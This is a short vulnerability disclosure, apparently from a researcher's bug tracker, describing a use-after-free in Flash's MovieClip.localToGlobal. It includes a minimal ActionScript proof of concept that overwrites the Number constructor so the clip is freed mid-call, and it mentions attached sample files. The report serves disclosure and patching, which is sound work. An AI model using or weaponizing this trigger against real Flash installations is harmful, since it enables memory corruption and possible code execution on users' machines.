There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:

var a = func;
_global.Number = a;
this.createEmptyMovieClip("mc", 1);
mc.localToGlobal( 7 );


function func(){
	
	mc.removeMovieClip();
	
        // fix heap here  

        this.x = 2;
	this.y = 1;
	
	}
	
A sample swf and fla are attached. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

localtoglobal.fla 5.0 KB Download

localtoglobal.swf 912 bytes Download